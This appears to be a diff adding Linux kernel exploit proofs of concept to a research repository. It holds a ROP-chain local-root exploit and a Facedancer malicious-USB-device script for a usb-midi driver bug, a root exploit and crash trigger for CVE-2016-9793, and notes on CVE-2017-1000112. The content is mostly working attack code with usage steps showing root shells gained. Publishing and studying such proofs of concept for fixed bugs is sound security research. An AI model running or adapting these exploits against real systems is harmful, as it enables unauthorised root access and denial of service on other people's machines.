[<ffffffff8231762a>] usb_probe_device+0x8a/0xc0 drivers/usb/core/driver.c:263
|
||||
[< inline >] really_probe drivers/base/dd.c:316
|
||||
[<ffffffff8203c79e>] driver_probe_device+0x4be/0x800 drivers/base/dd.c:429
|
||||
[<ffffffff8203cda6>] __device_attach_driver+0x176/0x220 drivers/base/dd.c:514
|
||||
[<ffffffff82037682>] bus_for_each_drv+0x112/0x1b0 drivers/base/bus.c:464
|
||||
[<ffffffff8203c1d6>] __device_attach+0x1c6/0x2a0 drivers/base/dd.c:571
|
||||
[<ffffffff8203cebe>] device_initial_probe+0xe/0x10 drivers/base/dd.c:618
|
||||
[<ffffffff8203a299>] bus_probe_device+0x199/0x240 drivers/base/bus.c:558
|
||||
[<ffffffff8203447c>] device_add+0x94c/0x1340 drivers/base/core.c:1120
|
||||
[<ffffffff822f41a1>] usb_new_device+0x701/0xfa0 drivers/usb/core/hub.c:2499
|
||||
[< inline >] port_event drivers/usb/core/hub.c:4798
|
||||
[<ffffffff822f8580>] hub_event+0x1b70/0x2d00 drivers/usb/core/hub.c:5089
|
||||
[<ffffffff81137375>] process_one_work+0x585/0x1200 kernel/workqueue.c:2030
|
||||
[<ffffffff811380c7>] worker_thread+0xd7/0x1200 kernel/workqueue.c:2162
|
||||
[<ffffffff81148ba0>] kthread+0x1c0/0x260 kernel/kthread.c:209
|
||||
[<ffffffff82e6bb4f>] ret_from_fork+0x3f/0x70 arch/x86/entry/entry_64.S:468
|
||||
Memory state around the buggy address:
|
||||
ffff88006a8c5c80: fc fc fc fc fc fc fb fb fb fb fb fb fb fb fb fb
|
||||
ffff88006a8c5d00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
|
||||
>ffff88006a8c5d80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
|
||||
^
|
||||
ffff88006a8c5e00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
|
||||
ffff88006a8c5e80: fb fb fb fb fb fb fc fc fc fc fc fc fc fc fc fc
|
||||
==================================================================
|
|
@ -0,0 +1,462 @@
|
|||
// A part of the proof-of-concept exploit for the vulnerability in the usb-midi
|
||||
// driver. Meant to be used in conjuction with a hardware usb emulator, which
|
||||
// emulates a particular malicious usb device (a Facedancer21 for example).
|
||||
//
|
||||
// Andrey Konovalov <andreyknvl@gmail.com>
|
||||
//
|
||||
// Usage:
|
||||
// // Edit source to set addresses of the kernel symbols and the ROP gadgets.
|
||||
// $ gcc poc.c -masm=intel
|
||||
// // Run N instances of the binary with the argument increasing from 0 to N,
|
||||
// // where N is the number of cpus on your machine.
|
||||
// $ ./a.out 0 & ./a.out 1 & ...
|
||||
// [+] starting as: uid=1000, euid=1000
|
||||
// [+] payload addr: 0x400b60
|
||||
// [+] fake stack mmaped
|
||||
// [+] plug in the usb device...
|
||||
// // Now plug in the device a few times.
|
||||
// // In one of the instances you will get (if the kernel doesn't crash):
|
||||
// [+] got r00t: uid=0, euid=0
|
||||
// # id
|
||||
// uid=0(root) gid=0(root) groups=0(root)
|
||||
|
||||
#define _GNU_SOURCE
|
||||
|
||||
#include <netinet/ip.h>
|
||||
|
||||
#include <assert.h>
|
||||
#include <stdbool.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include <sys/mman.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/syscall.h>
|
||||
|
||||
#include <arpa/inet.h>
|
||||
|
||||
// You need to set these based on your kernel.
|
||||
// To easiest way to obtain the addresses of commit_creds and prepare_kernel_cred
|
||||
// is to boot your kernel and grep /proc/kallsyms for them.
|
||||
// The easiest way to obtain the gadgets addresses is to use the ROPgadget util.
|
||||
// Note that all of the used gadgets must preserve the initial value of the rbp
|
||||
// register, since this value is used later on to restore rsp.
|
||||
// The value of CR4_DESIRED_VALUE must have the SMEP bit disabled.
|
||||
|
||||
#define COMMIT_CREDS 0xffffffff810957e0L
|
||||
#define PREPARE_KERNEL_CRED 0xffffffff81095ae0L
|
||||
|
||||
#define XCHG_EAX_ESP_RET 0xffffffff8100008aL
|
||||
|
||||
#define POP_RDI_RET 0xffffffff8118991dL
|
||||
#define MOV_DWORD_PTR_RDI_EAX_RET 0xffffffff810fff17L
|
||||
#define MOV_CR4_RDI_RET 0xffffffff8105b8f0L
|
||||
#define POP_RCX_RET 0xffffffff810053bcL
|
||||
#define JMP_RCX 0xffffffff81040a90L
|
||||
|
||||
#define CR4_DESIRED_VALUE 0x407f0
|
||||
|
||||
// Payload. Saves eax, which holds the 32 lower bits of the old esp value,
|
||||
// disables SMEP, restores rsp, obtains root, jumps back to the caller.
|
||||
|
||||
#define CHAIN_SAVE_EAX \
|
||||
*stack++ = POP_RDI_RET; \
|
||||
*stack++ = (uint64_t)&saved_eax; \
|
||||
*stack++ = MOV_DWORD_PTR_RDI_EAX_RET;
|
||||
|
||||
#define CHAIN_SET_CR4 \
|
||||
*stack++ = POP_RDI_RET; \
|
||||
*stack++ = CR4_DESIRED_VALUE; \
|
||||
*stack++ = MOV_CR4_RDI_RET; \
|
||||
|
||||
#define CHAIN_JMP_PAYLOAD \
|
||||
*stack++ = POP_RCX_RET; \
|
||||
*stack++ = (uint64_t)&payload; \
|
||||
*stack++ = JMP_RCX; \
|
||||
|
||||
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
|
||||
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
|
||||
|
||||
_commit_creds commit_creds = (_commit_creds)COMMIT_CREDS;
|
||||
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED;
|
||||
|
||||
void get_root(void) {
|
||||
commit_creds(prepare_kernel_cred(0));
|
||||
}
|
||||
|
||||
uint64_t saved_eax;
|
||||
|
||||
// Unfortunately GCC does not support `__atribute__((naked))` on x86, which
|
||||
// can be used to omit a function's prologue, so I had to use this weird
|
||||
// wrapper hack as a workaround. Note: Clang does support it, which means it
|
||||
// has better support of GCC attributes than GCC itself. Funny.
|
||||
void wrapper() {
|
||||
asm volatile (" \n\
|
||||
payload: \n\
|
||||
movq %%rbp, %%rax \n\
|
||||
movq $0xffffffff00000000, %%rdx \n\
|
||||
andq %%rdx, %%rax \n\
|
||||
movq %0, %%rdx \n\
|
||||
addq %%rdx, %%rax \n\
|
||||
movq %%rax, %%rsp \n\
|
||||
jmp get_root \n\
|
||||
" : : "m"(saved_eax) : );
|
||||
}
|
||||
|
||||
void payload();
|
||||
|
||||
// Kernel structs.
|
||||
|
||||
struct ubuf_info {
|
||||
uint64_t callback; // void (*callback)(struct ubuf_info *, bool)
|
||||
uint64_t ctx; // void *
|
||||
uint64_t desc; // unsigned long
|
||||
};
|
||||
|
||||
struct skb_shared_info {
|
||||
uint8_t nr_frags; // unsigned char
|
||||
uint8_t tx_flags; // __u8
|
||||
uint16_t gso_size; // unsigned short
|
||||
uint16_t gso_segs; // unsigned short
|
||||
uint16_t gso_type; // unsigned short
|
||||
uint64_t frag_list; // struct sk_buff *
|
||||
uint64_t hwtstamps; // struct skb_shared_hwtstamps
|
||||
uint32_t tskey; // u32
|
||||
uint32_t ip6_frag_id; // __be32
|
||||
uint32_t dataref; // atomic_t
|
||||
uint64_t destructor_arg; // void *
|
||||
uint8_t frags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS];
|
||||
};
|
||||
|
||||
#define MIDI_MAX_ENDPOINTS 2
|
||||
|
||||
struct snd_usb_midi {
|
||||
uint8_t bullshit[240];
|
||||
|
||||
struct snd_usb_midi_endpoint {
|
||||
uint64_t out; // struct snd_usb_midi_out_endpoint *
|
||||
uint64_t in; // struct snd_usb_midi_in_endpoint *
|
||||
} endpoints[MIDI_MAX_ENDPOINTS];
|
||||
|
||||
// More bullshit.
|
||||
};
|
||||
|
||||
// Init buffer for overwriting a skbuff object.
|
||||
|
||||
struct ubuf_info ui;
|
||||
|
||||
void init_buffer(char* buffer) {
|
||||
struct skb_shared_info *ssi = (struct skb_shared_info *)&buffer[192];
|
||||
struct snd_usb_midi *midi = (struct snd_usb_midi *)&buffer[0];
|
||||
int i;
|
||||
|
||||
ssi->tx_flags = 0xff;
|
||||
ssi->destructor_arg = (uint64_t)&ui;
|
||||
ui.callback = XCHG_EAX_ESP_RET;
|
||||
|
||||
// Prevents some crashes.
|
||||
ssi->nr_frags = 0;
|
||||
|
||||
// Prevents some crashes.
|
||||
ssi->frag_list = 0;
|
||||
|
||||
// Prevents some crashes.
|
||||
for (i = 0; i < MIDI_MAX_ENDPOINTS; i++) {
|
||||
midi->endpoints[i].out = 0;
|
||||
midi->endpoints[i].in = 0;
|
||||
}
|
||||
}
|
||||
|
||||
// Map a fake stack where the ROP payload resides.
|
||||
|
||||
void mmap_stack() {
|
||||
uint64_t stack_addr;
|
||||
int stack_offset;
|
||||
uint64_t* stack;
|
||||
int page_size;
|
||||
|
||||
page_size = getpagesize();
|
||||
|
||||
stack_addr = (XCHG_EAX_ESP_RET & 0x00000000ffffffffL) & ~(page_size - 1);
|
||||
stack_offset = XCHG_EAX_ESP_RET % page_size;
|
||||
|
||||
stack = mmap((void *)stack_addr, page_size, PROT_READ | PROT_WRITE,
|
||||
MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
|
||||
if (stack == MAP_FAILED) {
|
||||
perror("[-] mmap()");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
stack = (uint64_t *)((char *)stack + stack_offset);
|
||||
|
||||
CHAIN_SAVE_EAX;
|
||||
CHAIN_SET_CR4;
|
||||
CHAIN_JMP_PAYLOAD;
|
||||
}
|
||||
|
||||
// Sending control messages.
|
||||
|
||||
int socket_open(int port) {
|
||||
int sock;
|
||||
struct sockaddr_in sa;
|
||||
|
||||
sock = socket(AF_INET, SOCK_DGRAM, 0);
|
||||
if (sock == -1) {
|
||||
perror("[-] socket()");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
sa.sin_family = AF_INET;
|
||||
sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
|
||||
sa.sin_port = htons(port);
|
||||
if (connect(sock, (struct sockaddr *) &sa, sizeof(sa)) == -1) {
|
||||
perror("[-] connect()");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
return sock;
|
||||
}
|
||||
|
||||
void socket_close(int sock) {
|
||||
close(sock);
|
||||
}
|
||||
|
||||
void socket_sendmmsg(int sock) {
|
||||
struct mmsghdr msg[1];
|
||||
struct iovec msg2;
|
||||
int rv;
|
||||
char buffer[512];
|
||||
|
||||
memset(&msg2, 0, sizeof(msg2));
|
||||
msg2.iov_base = &buffer[0];
|
||||
msg2.iov_len = 512;
|
||||
|
||||
memset(msg, 0, sizeof(msg));
|
||||
msg[0].msg_hdr.msg_iov = &msg2;
|
||||
msg[0].msg_hdr.msg_iovlen = 1;
|
||||
|
||||
memset(&buffer[0], 0xa1, 512);
|
||||
|
||||
struct cmsghdr *hdr = (struct cmsghdr *)&buffer[0];
|
||||
hdr->cmsg_len = 512;
|
||||
hdr->cmsg_level = SOL_IP + 1;
|
||||
|
||||
init_buffer(&buffer[0]);
|
||||
|
||||
msg[0].msg_hdr.msg_control = &buffer[0];
|
||||
msg[0].msg_hdr.msg_controllen = 512;
|
||||
|
||||
rv = syscall(__NR_sendmmsg, sock, msg, 1, 0);
|
||||
if (rv == -1) {
|
||||
perror("[-] sendmmsg()");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
// Allocating and freeing skbuffs.
|
||||
|
||||
struct sockaddr_in server_si_self;
|
||||
|
||||
struct sockaddr_in client_si_other;
|
||||
|
||||
int init_server(int port) {
|
||||
int sock;
|
||||
int rv;
|
||||
|
||||
sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
|
||||
if (sock == -1) {
|
||||
perror("[-] socket()");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
memset(&server_si_self, 0, sizeof(server_si_self));
|
||||
server_si_self.sin_family = AF_INET;
|
||||
server_si_self.sin_port = htons(port);
|
||||
server_si_self.sin_addr.s_addr = htonl(INADDR_ANY);
|
||||
|
||||
rv = bind(sock, (struct sockaddr *)&server_si_self,
|
||||
sizeof(server_si_self));
|
||||
if (rv == -1) {
|
||||
perror("[-] bind()");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
return sock;
|
||||
}
|
||||
|
||||
int init_client(int port) {
|
||||
int sock;
|
||||
int rv;
|
||||
|
||||
sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
|
||||
if (sock == -1) {
|
||||
perror("[-] socket()");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
memset(&client_si_other, 0, sizeof(client_si_other));
|
||||
client_si_other.sin_family = AF_INET;
|
||||
client_si_other.sin_port = htons(port);
|
||||
|
||||
rv = inet_aton("127.0.0.1", &client_si_other.sin_addr);
|
||||
if (rv == 0) {
|
||||
perror("[-] inet_aton()");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
return sock;
|
||||
}
|
||||
|
||||
void client_send_message(int sock) {
|
||||
int rv;
|
||||
// Messages of 128 bytes result in 512 bytes skbuffs.
|
||||
char sent_message[128] = { 0x10 };
|
||||
|
||||
rv = sendto(sock, &sent_message[0], 128, 0,
|
||||
(struct sockaddr *)&client_si_other,
|
||||
sizeof(client_si_other));
|
||||
if (rv == -1) {
|
||||
perror("[-] sendto()");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
void destroy_server(int sock) {
|
||||
close(sock);
|
||||
}
|
||||
|
||||
void destroy_client(int sock) {
|
||||
close(sock);
|
||||
}
|
||||
|
||||
// Checking root.
|
||||
|
||||
void exec_shell() {
|
||||
char *args[] = {"/bin/sh", "-i", NULL};
|
||||
execve("/bin/sh", args, NULL);
|
||||
}
|
||||
|
||||
void fork_shell() {
|
||||
pid_t rv;
|
||||
|
||||
rv = fork();
|
||||
if (rv == -1) {
|
||||
perror("[-] fork()");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (rv == 0) {
|
||||
exec_shell();
|
||||
}
|
||||
|
||||
while (true) {
|
||||
sleep(1);
|
||||
}
|
||||
}
|
||||
|
||||
bool is_root() {
|
||||
return getuid() == 0;
|
||||
}
|
||||
|
||||
void check_root() {
|
||||
if (!is_root())
|
||||
return;
|
||||
|
||||
printf("[+] got r00t: uid=%d, euid=%d\n", getuid(), geteuid());
|
||||
|
||||
// Fork and exec instead of just doing the exec to avoid freeing skbuffs
|
||||
// and prevent some crashes due to a allocator corruption.
|
||||
fork_shell();
|
||||
}
|
||||
|
||||
// Main.
|
||||
|
||||
#define PORT_BASE_1 4100
|
||||
#define PORT_BASE_2 4200
|
||||
#define PORT_BASE_3 4300
|
||||
|
||||
#define SKBUFFS_NUM 64
|
||||
#define MMSGS_NUM 256
|
||||
|
||||
int server_sock;
|
||||
int client_sock;
|
||||
|
||||
void step_begin(int id) {
|
||||
int i;
|
||||
|
||||
server_sock = init_server(PORT_BASE_2 + id);
|
||||
client_sock = init_client(PORT_BASE_2 + id);
|
||||
|
||||
for (i = 0; i < SKBUFFS_NUM; i++) {
|
||||
client_send_message(client_sock);
|
||||
}
|
||||
|
||||
for (i = 0; i < MMSGS_NUM; i++) {
|
||||
int sock = socket_open(PORT_BASE_3 + id);
|
||||
socket_sendmmsg(sock);
|
||||
socket_close(sock);
|
||||
}
|
||||
}
|
||||
|
||||
void step_end(int id) {
|
||||
destroy_server(server_sock);
|
||||
destroy_client(client_sock);
|
||||
}
|
||||
|
||||
void body(int id) {
|
||||
int server_sock, client_sock, i;
|
||||
|
||||
server_sock = init_server(PORT_BASE_1 + id);
|
||||
client_sock = init_client(PORT_BASE_1 + id);
|
||||
|
||||
for (i = 0; i < 512; i++)
|
||||
client_send_message(client_sock);
|
||||
|
||||
while (true) {
|
||||
step_begin(id);
|
||||
check_root();
|
||||
step_end(id);
|
||||
}
|
||||
}
|
||||
|
||||
bool parse_int(const char *input, int *output) {
|
||||
char* wrong_token = NULL;
|
||||
int result = strtol(input, &wrong_token, 10);
|
||||
if (*wrong_token != '\0') {
|
||||
return false;
|
||||
}
|
||||
*output = result;
|
||||
return true;
|
||||
}
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
bool rv;
|
||||
int id;
|
||||
|
||||
if (argc != 2) {
|
||||
printf("Usage: %s <instance_id>\n", argv[0]);
|
||||
return EXIT_SUCCESS;
|
||||
}
|
||||
|
||||
rv = parse_int(argv[1], &id);
|
||||
if (!rv) {
|
||||
printf("Usage: %s <instance_id>\n", argv[0]);
|
||||
return EXIT_SUCCESS;
|
||||
}
|
||||
|
||||
printf("[+] starting as: uid=%d, euid=%d\n", getuid(), geteuid());
|
||||
|
||||
printf("[+] payload addr: %p\n", &payload);
|
||||
|
||||
mmap_stack();
|
||||
printf("[+] fake stack mmaped\n");
|
||||
|
||||
printf("[+] plug in the usb device...\n");
|
||||
|
||||
body(id);
|
||||
|
||||
return EXIT_SUCCESS;
|
||||
}
|
|
@ -0,0 +1,71 @@
|
|||
#!/usr/bin/env python3
|
||||
|
||||
# A part of the proof-of-concept exploit for the vulnerability in the usb-midi
|
||||
# driver. Can be used on it's own for a denial of service attack. Should be
|
||||
# used in conjuction with a userspace part for an arbitrary code execution
|
||||
# attack.
|
||||
#
|
||||
# Requires a Facedancer21 board
|
||||
# (http://goodfet.sourceforge.net/hardware/facedancer21/).
|
||||
#
|
||||
# Andrey Konovalov <anreyknvl@gmail.com>
|
||||
|
||||
from USB import *
|
||||
from USBDevice import *
|
||||
from USBConfiguration import *
|
||||
from USBInterface import *
|
||||
|
||||
class PwnUSBDevice(USBDevice):
|
||||
name = "USB device"
|
||||
|
||||
def __init__(self, maxusb_app, verbose=0):
|
||||
interface = USBInterface(
|
||||
0, # interface number
|
||||
0, # alternate setting
|
||||
255, # interface class
|
||||
0, # subclass
|
||||
0, # protocol
|
||||
0, # string index
|
||||
verbose,
|
||||
[],
|
||||
{}
|
||||
)
|
||||
|
||||
config = USBConfiguration(
|
||||
1, # index
|
||||
"Emulated Device", # string desc
|
||||
[ interface ] # interfaces
|
||||
)
|
||||
|
||||
USBDevice.__init__(
|
||||
self,
|
||||
maxusb_app,
|
||||
0, # device class
|
||||
0, # device subclass
|
||||
0, # protocol release number
|
||||
64, # max packet size for endpoint 0
|
||||
0x0763, # vendor id
|
||||
0x1002, # product id
|
||||
0, # device revision
|
||||
"Midiman", # manufacturer string
|
||||
"MidiSport 2x2", # product string
|
||||
"?", # serial number string
|
||||
[ config ],
|
||||
verbose=verbose
|
||||
)
|
||||
|
||||
from Facedancer import *
|
||||
from MAXUSBApp import *
|
||||
|
||||
sp = GoodFETSerialPort()
|
||||
fd = Facedancer(sp, verbose=1)
|
||||
u = MAXUSBApp(fd, verbose=1)
|
||||
|
||||
d = PwnUSBDevice(u, verbose=4)
|
||||
|
||||
d.connect()
|
||||
|
||||
try:
|
||||
d.run()
|
||||
except KeyboardInterrupt:
|
||||
d.disconnect()
|
|
@ -0,0 +1,12 @@
|
|||
CVE-2016-9793
|
||||
=============
|
||||
|
||||
- [CVE-2016-9793](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-9793)
|
||||
|
||||
This is a proof-of-concept local root exploit for the vulnerability in the SO\_SNDBUFFORCE and SO\_RCVBUFFORCE socket options implementation [CVE-2016-9793](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-9793).
|
||||
Requires CAP\_NET\_ADMIN capability.
|
||||
|
||||
Timeline:
|
||||
* 2016-12-01: Bug reported to security@kernel org
|
||||
* 2016-12-02: [Patch committed to mainline kernel](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=b98b0bc8c431e3ceb4b26b0dfc8db509518fb290)
|
||||
* 2017-03-22: [Exploit published](https://github.com/xairy/kernel-exploits/tree/master/CVE-2016-9793)
|
|
@ -0,0 +1,176 @@
|
|||
// CAP_NET_ADMIN -> root LPE exploit for CVE-2016-9793
|
||||
// No KASLR, SMEP or SMAP bypass included
|
||||
// Affected kernels: 3.11 -> 4.8
|
||||
// Tested in QEMU only
|
||||
// https://github.com/xairy/kernel-exploits/tree/master/CVE-2016-9793
|
||||
//
|
||||
// Usage:
|
||||
// # gcc -pthread exploit.c -o exploit
|
||||
// # chown guest:guest exploit
|
||||
// # setcap cap_net_admin+ep ./exploit
|
||||
// # su guest
|
||||
// $ whoami
|
||||
// guest
|
||||
// $ ./exploit
|
||||
// [.] userspace payload mmapped at 0xfffff000
|
||||
// [.] overwriting thread started
|
||||
// [.] sockets opened
|
||||
// [.] sock->sk_sndbuf set to fffffe00
|
||||
// [.] writing to socket
|
||||
// [+] got r00t
|
||||
// # whoami
|
||||
// root
|
||||
//
|
||||
// Andrey Konovalov <andreyknvl@gmail.com>
|
||||
|
||||
#define _GNU_SOURCE
|
||||
|
||||
#include <sys/socket.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/time.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/mman.h>
|
||||
|
||||
#include <pthread.h>
|
||||
#include <signal.h>
|
||||
#include <stdarg.h>
|
||||
#include <stddef.h>
|
||||
#include <stdint.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#define COMMIT_CREDS 0xffffffff81079860ul
|
||||
#define PREPARE_KERNEL_CRED 0xffffffff81079b20ul
|
||||
|
||||
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
|
||||
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
|
||||
|
||||
_commit_creds commit_creds = (_commit_creds)COMMIT_CREDS;
|
||||
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED;
|
||||
|
||||
void get_root(void) {
|
||||
commit_creds(prepare_kernel_cred(0));
|
||||
}
|
||||
|
||||
struct ubuf_info_t {
|
||||
uint64_t callback; // void (*callback)(struct ubuf_info *, bool)
|
||||
uint64_t ctx; // void *
|
||||
uint64_t desc; // unsigned long
|
||||
};
|
||||
|
||||
struct skb_shared_info_t {
|
||||
uint8_t nr_frags; // unsigned char
|
||||
uint8_t tx_flags; // __u8
|
||||
uint16_t gso_size; // unsigned short
|
||||
uint16_t gso_segs; // unsigned short
|
||||
uint16_t gso_type; // unsigned short
|
||||
uint64_t frag_list; // struct sk_buff *
|
||||
uint64_t hwtstamps; // struct skb_shared_hwtstamps
|
||||
uint32_t tskey; // u32
|
||||
uint32_t ip6_frag_id; // __be32
|
||||
uint32_t dataref; // atomic_t
|
||||
uint64_t destructor_arg; // void *
|
||||
uint8_t frags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS];
|
||||
};
|
||||
|
||||
// sk_sndbuf = 0xffffff00 => skb_shinfo(skb) = 0x00000000fffffed0
|
||||
#define SNDBUF 0xffffff00
|
||||
#define SHINFO 0x00000000fffffed0ul
|
||||
|
||||
struct ubuf_info_t ubuf_info = {(uint64_t)&get_root, 0, 0};
|
||||
//struct ubuf_info_t ubuf_info = {0xffffdeaddeadbeeful, 0, 0};
|
||||
struct skb_shared_info_t *skb_shared_info = (struct skb_shared_info_t *)SHINFO;
|
||||
|
||||
#define SKBTX_DEV_ZEROCOPY (1 << 3)
|
||||
|
||||
void* skb_thr(void* arg) {
|
||||
while (1) {
|
||||
skb_shared_info->destructor_arg = (uint64_t)&ubuf_info;
|
||||
skb_shared_info->tx_flags |= SKBTX_DEV_ZEROCOPY;
|
||||
}
|
||||
}
|
||||
|
||||
int sockets[2];
|
||||
|
||||
void *write_thr(void *arg) {
|
||||
// Write blocks until setsockopt(SO_SNDBUF).
|
||||
write(sockets[1], "\x5c", 1);
|
||||
|
||||
if (getuid() == 0) {
|
||||
printf("[+] got r00t\n");
|
||||
execl("/bin/bash", "bash", NULL);
|
||||
perror("execl()");
|
||||
}
|
||||
printf("[-] something went wrong\n");
|
||||
}
|
||||
|
||||
int main() {
|
||||
void *addr;
|
||||
int rv;
|
||||
uint32_t sndbuf;
|
||||
|
||||
addr = mmap((void *)(SHINFO & 0xfffffffffffff000ul), 0x1000ul,
|
||||
PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE,
|
||||
-1, 0);
|
||||
if (addr != (void *)(SHINFO & 0xfffffffffffff000ul)) {
|
||||
perror("mmap()");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
printf("[.] userspace payload mmapped at %p\n", addr);
|
||||
|
||||
pthread_t skb_th;
|
||||
rv = pthread_create(&skb_th, 0, skb_thr, NULL);
|
||||
if (rv != 0) {
|
||||
perror("pthread_create()");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
usleep(10000);
|
||||
|
||||
printf("[.] overwriting thread started\n");
|
||||
|
||||
rv = socketpair(AF_LOCAL, SOCK_STREAM, 0, &sockets[0]);
|
||||
if (rv != 0) {
|
||||
perror("socketpair()");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
printf("[.] sockets opened\n");
|
||||
|
||||
sndbuf = SNDBUF;
|
||||
rv = setsockopt(sockets[1], SOL_SOCKET, SO_SNDBUFFORCE,
|
||||
&sndbuf, sizeof(sndbuf));
|
||||
if (rv != 0) {
|
||||
perror("setsockopt()");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
printf("[.] sock->sk_sndbuf set to %x\n", SNDBUF * 2);
|
||||
|
||||
pthread_t write_th;
|
||||
rv = pthread_create(&write_th, 0, write_thr, NULL);
|
||||
if (rv != 0) {
|
||||
perror("pthread_create()");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
usleep(10000);
|
||||
|
||||
printf("[.] writing to socket\n");
|
||||
|
||||
// Wake up blocked write.
|
||||
rv = setsockopt(sockets[1], SOL_SOCKET, SO_SNDBUF,
|
||||
&sndbuf, sizeof(sndbuf));
|
||||
if (rv != 0) {
|
||||
perror("setsockopt()");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
usleep(10000);
|
||||
|
||||
close(sockets[0]);
|
||||
close(sockets[1]);
|
||||
|
||||
return 0;
|
||||
}
|
|
@ -0,0 +1,67 @@
|
|||
#define _GNU_SOURCE
|
||||
|
||||
#include <sys/socket.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/time.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/mman.h>
|
||||
|
||||
#include <pthread.h>
|
||||
#include <signal.h>
|
||||
#include <stdarg.h>
|
||||
#include <stddef.h>
|
||||
#include <stdint.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int sockets[2];
|
||||
|
||||
void *write_thr(void *arg) {
|
||||
// Write blocks until setsockopt(SO_SNDBUF).
|
||||
write(sockets[1], "\x5c", 1);
|
||||
}
|
||||
|
||||
int main() {
|
||||
void *addr;
|
||||
int rv;
|
||||
uint32_t sndbuf;
|
||||
|
||||
rv = socketpair(AF_LOCAL, SOCK_STREAM, 0, &sockets[0]);
|
||||
if (rv != 0) {
|
||||
perror("socketpair()");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
sndbuf = 0xffffff00;
|
||||
rv = setsockopt(sockets[1], SOL_SOCKET, SO_SNDBUFFORCE,
|
||||
&sndbuf, sizeof(sndbuf));
|
||||
if (rv != 0) {
|
||||
perror("setsockopt()");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
pthread_t write_th;
|
||||
rv = pthread_create(&write_th, 0, write_thr, NULL);
|
||||
if (rv != 0) {
|
||||
perror("pthread_create()");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
usleep(10000);
|
||||
|
||||
// Wake up blocked write.
|
||||
rv = setsockopt(sockets[1], SOL_SOCKET, SO_SNDBUF,
|
||||
&sndbuf, sizeof(sndbuf));
|
||||
if (rv != 0) {
|
||||
perror("setsockopt()");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
usleep(10000);
|
||||
|
||||
close(sockets[0]);
|
||||
close(sockets[1]);
|
||||
|
||||
return 0;
|
||||
}
|
|
@ -0,0 +1,28 @@
|
|||
CVE-2017-1000112
|
||||
================
|
||||
|
||||
```
|
||||
When building a UFO packet with MSG_MORE __ip_append_data() calls ip_ufo_append_data() to append. However in between two
|
||||
send() calls, the append path can be switched from UFO to non-UFO one, which leads to a memory corruption.
|
||||
|
||||
In case UFO packet lengths exceeds MTU, copy = maxfraglen - skb->len becomes negative on the non-UFO path and the branch to
|
||||
allocate new skb is taken. This triggers fragmentation and computation of fraggap = skb_prev->len - maxfraglen. Fraggap can
|
||||
exceed MTU, causing copy = datalen - transhdrlen - fraggap to become negative. Subsequently skb_copy_and_csum_bits() writes
|
||||
out-of-bounds.
|
||||
|
||||
|
||||
A similar issue is present in IPv6 code.
|
||||
|
||||
The bug was introduced in e89e9cf539a2 ("[IPv4/IPv6]: UFO Scatter-gather approach") on Oct 18 2005.
|
||||
|
||||
The fix has been submitted to netdev [1] and should be committed to mainline and to stable kernels soon. David has also sent
|
||||
an RFC series to remove UFO completely [2], which should be merged in 4.14.
|
||||
|
||||
If unprivileged user namespaces are available, this bug can be exploited to gain root privileges. I'll share the details and
|
||||
the exploit in a few days.
|
||||
```
|
||||
|
||||
